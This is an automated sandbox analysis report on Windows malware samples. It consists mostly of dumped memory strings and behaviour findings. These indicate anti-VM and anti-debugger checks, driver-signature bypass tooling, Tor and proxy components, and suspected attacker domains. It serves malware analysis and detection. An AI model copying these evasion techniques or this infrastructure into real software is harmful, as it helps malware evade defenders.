Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTTL expiredUninstallerVBoxServiceVMUSrvc.exeVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exeadditionalsalarm clockapplicationassistQueueauthoritiesbad addressbad argSizebad m valuebad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcreated by crypt32.dlle2.keff.orgembedded/%sexternal IPfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=move %s: %wmswsock.dllnetpollInitnext servernil contextopera-proxyorannis.comout of syncparse errorprocess: %sreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writestack tracestart proxytaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion.dllversion=195wininet.dllwup_process (sensitive) B (
Source: 5828.exe, 00000008.00000002.2040972155.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: entersyscallexit status failed to %wfound av: %sgcBitsArenasgcpacertracegetaddrinfowgot TI tokenguid_machineharddecommithost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsmheapSpecialmsftedit.dllmspanSpecialnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wproxyconnectrandautoseedrecv_goaway_reflect.Copyreleasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerContent-RangeDONT-FRAGMENTDeleteServiceDestroyWindowDistributorIDECDSAWithSHA1EnumProcessesExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWFreeAddrInfoWGC sweep waitGeoIPFile %s
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMESSAGE-INTEGRITYMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5QueryWorkingSetExRESERVATION-TOKENReadProcessMemoryRegLoadMUIStringWRtlGetCurrentPebSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: explorer.exe, 00000001.00000000.1694958391.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianProcessingPulseEventRIPEMD-160RST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUser-AgentVMSrvc.exeWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8attr%d=%s cmd is nilcomplex128connectiondebug calldnsapi.dlldsefix.exedwmapi.dlle.keff.orgexecerrdotexitThreadexp masterfloat32nanfloat64nangetsockoptgoroutine http_proxyimage/avifimage/jpegimage/webpimpossibleindicationinvalid IPinvalidptrkeep-alivemSpanInUsemyhostnameno resultsnot a boolnot signednotifyListowner diedpowershellprl_cc.exeprofInsertres binderres masterresumptionrune <nil>runtime: gs.state = schedtracesemacquiresend stateset-cookiesetsockoptskipping: socks bindstackLarget.Kind == terminatedtext/plaintime.Date(time.Localtracefree(tracegc()
Source: explorer.exe, 00000001.00000000.1696442316.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: GetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaICE-CONTROLLINGIdempotency-KeyImpersonateSelfInstall failureIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: acceptactivechan<-closedcookiedirectdomainefenceempty exec: expectfamilygeoip6gopherhangupheaderinternip+netkilledlistenminutenetdnsnumberobjectoriginpopcntrdtscpreadatreasonremoverenamereturnrun-v3rune1 secondselectsendtoserversocketsocks socks5statusstringstructsweep sysmontelnettimersuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: (MISSING)(unknown), newval=, oldval=, size = , tail = -07:00:00/api/cdn?/api/poll127.0.0.1244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticEVEN-PORTExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundatomicor8attributeb.ooze.ccbad indirbus errorchallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0dns,filesecdsa.netempty urlfiles,dnsfn.48.orgfodhelperfork/execfuncargs(gdi32.dllhchanLeafimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplocalhostmSpanDeadnew tokennil errorntdll.dllole32.dllomitemptyop_returnpanicwaitpatch.exepclmulqdqpreemptedprintableprofBlockprotocol proxy.exepsapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ><'\'') = ) m=+Inf-Inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0x%x1.1110803125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHostJulyJuneLEAFLisuMiaoModiNZDTNZSTNameNewaPINGPOSTPathQEMUROOTSASTSTARSendStatTempThaiTypeUUID"%s"\rss\smb\u00
Source: explorer.exe, 00000001.00000000.1698135497.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1698135497.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, 5828.exe, 00000008.00000002.2040972155.0000000000678000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 5316.exe, 00000007.00000003.2232927480.0000000003404000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ntor-onion-key zeABkSC5U36c9jPkbqVUzrjd6qt+/Rti3yHGfsRtYhY
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: 5316.exe, 00000007.00000003.2181468406.000000000342D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBAJtcCCBEuPXqEMu2rREZdSYB+1TY6HE/BWrbN1/ZfMwxUulfEocqfD/3
Source: csrss.exe, 0000000F.00000002.4120022513.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
Source: explorer.exe, 00000001.00000000.1698614968.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: 5316.exe, 00000007.00000003.2164643982.0000000003419000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBAMZvmci/v9lu2mS+O/M3cUaAMvMrIOsTCKVWdgTHvKYn6UHCdNCgnztj
Source: 5316.exe, 00000007.00000003.2158604712.0000000003403000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: id ed25519 5uD7nVmCI5DppHHtx2H+7AzbTP39/UvAQinqkc/a/lg
Source: 5316.exe, 00000007.00000003.2158604712.0000000003403000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBALTKLm+Dn2//Wdsm4wVkqC6KdyxM64ihWRVmcinNdv7gngpzrQ45dqJm
Source: explorer.exe, 00000001.00000000.1698135497.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1698135497.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1696442316.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000001.00000000.1698614968.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: 5316.exe, 00000007.00000003.2241195645.000000000341B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBANR5BdXVbpdMX3Ob1V3BfuQemU8uU69NjLB2JC4zlLSJaVSbQRjWJMEV
Source: explorer.exe, 00000001.00000000.1698614968.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: 5316.exe, 00000007.00000002.2876874417.0000000000938000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlln
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo = MB goal, flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday(%s.uuid.%s%s\|%s%s\|%s(BADINDEX), bound = , limit = -noprofile-uninstall.localhost/dev/stdin/etc/hosts/show-eula12207031256103515625: parsing :authorityAdditionalBad varintCampaignIDCancelIoExChorasmianClassCHAOSClassCSNETConnectionContent-IdCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDnsQuery_WECDSA-SHA1END_STREAMERROR-CODEException GC forced
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Not ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: explorer.exe, 00000001.00000000.1696442316.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1698135497.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptydouble unlockemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflateif-none-matchignoring fileimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base kernel32.dllkey expansionlame referrallast-modifiedlevel 3 resetload64 failedmaster secretmin too largename is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparsing time powrprof.dllprl_tools.exeprofMemActiveprofMemFutureread EULA: %wrebooting nowruntime: seq=runtime: val=service stateset event: %wsigner is nilsocks connectsrmount errortimer expiredtraceStackTabtrailing dataunimplementedunsupported: user canceledvalue method virtualpc: %wxadd64 failedxchg64 failed}
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, bytes ...
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> answersany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scpuprofderiveddriversexpiresfloat32float64forcegcgctracehead = http://invalidlog.txtlookup messageminpc= nil keynop -> number pacer: panic: readdirrefererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwindowswsarecvwsasendwup_verxen: %wxennet6 bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= ping=%q pointer stack=[ status %!Month(%02d%02d%s %s:%d%s: 0x%x-cleanup2.5.4.102.5.4.112.5.4.1748828125?4#?'1#0AcceptExAcceptedAllocateAltitudeArmenianBAD RANKBalineseBopomofoBugineseCancelIoCherokeeClassANYConflictContinueCurveID(CyrillicDNS nameDSA-SHA1DecemberDefenderDeleteDCDuployanEULA.txtEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneIsWindowJavaneseKatakanaKayah_LiLIFETIMELinear_ALinear_BLocationLsaCloseMD5+SHA1MahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYPROGRESSParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmWSAIoctlWinmonFSWmiPrvSE[::1]:53[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnum_gatewayacceptexaddress bad instcgocheckcontinuecs deadlockdefault:dial: %wdnsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp execwaitexporterf is nilfinishedfs gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid linkpathlocationmac_addrmountvolmsvmmoufno anodeno-cacheno_proxypollDescreadfromrecvfromreflect.runnableruntime.rwmutexRrwmutexWscavengeshutdownstrconv.taskkilltor_modetraceBuftrigger=unixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservx509sha1yuio.top (forced) B exp.) B work ( blocked= in use)
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: m=] = ] n=allgallparchasn1avx2basebindbitsbmi1bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ...
Source: 7B24.exe, 0000000D.00000002.2382494002.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL
Source: explorer.exe, 00000001.00000000.1696442316.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: , i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.local.onion/%d-%s370000390625:31461<-chanAcceptAnswerArabicAugustBUTTONBasic BitBltBrahmiCANCELCONIN$CancelCarianChakmaCommonCookieCopticExpectFltMgrFormatFridayGOAWAYGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLengthLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFWINDIRWanchoWinMonWinmonX25519Yezidi[]byte\??\%s\csrss\ufffd
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: and got= max= ms, ptr tab= top=%s %q%s %s%s%d%s/%s%s:%d%s=%s"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-0930.avif.html.jpeg.json.wasm.webp1.4.2156253.2.250001500025000350004500055000650512560015600278125:**@:path<nil>AdlamAprilBamumBatakBuhidCall ClassCountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNONCENushuOghamOriyaOsageP-224P-256P-384P-521PGDSEREALMRangeRealmRunicSHA-1STermTakriTamilTypeAUSTARUUID=\u202] = (allowarrayatimebad nchdirchmodclosecsrssctimedeferfalsefaultfilesfloatgcinggeoipgnamegscanhchanhostshttpsimap2imap3imapsinit int16int32int64matchmheapmkdirmonthmtimentohspanicparsepgdsepop3sproxyrangermdirrouterune scav schedsdsetsleepslicesockssse41sse42ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...)
Source: explorer.exe, 00000001.00000000.1694958391.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1698135497.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 100-continue127.0.0.1:%d127.0.0.1:53152587890625762939453125AUTHENTICATEBidi_ControlCIDR addressCONTINUATIONCfgMgr32.dllCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGetUserGeoIDGlobalUnlockGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectServer ErrorSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad flushGenbad g statusbad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegc
Source: explorer.exe, 00000001.00000000.1694958391.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\Temp\5828.exe	API call chain: ExitProcess graph end node	graph_8-27722
Source: C:\Users\user\AppData\Local\Temp\5828.exe	API call chain: ExitProcess graph end node	graph_8-27414
Source: C:\Users\user\AppData\Local\Temp\5828.exe	API call chain: ExitProcess graph end node	graph_8-27353
Source: C:\Users\user\AppData\Local\Temp\5828.exe	API call chain: ExitProcess graph end node	graph_8-27275

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

System information queried: ModuleInformation

Source: C:\Windows\explorer.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe

Code function: 0_2_004029BA LdrLoadDll,

0_2_004029BA

Source: C:\Users\user\AppData\Local\Temp\5316.exe

Code function: 7_2_006943E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

7_2_006943E0

Source: C:\Users\user\AppData\Local\Temp\5316.exe

7_2_0069D030

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_0252092B mov eax, dword ptr fs:[00000030h]	0_2_0252092B
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_02520D90 mov eax, dword ptr fs:[00000030h]	0_2_02520D90
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_026DE89C push dword ptr fs:[00000030h]	0_2_026DE89C
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0253092B mov eax, dword ptr fs:[00000030h]	3_2_0253092B
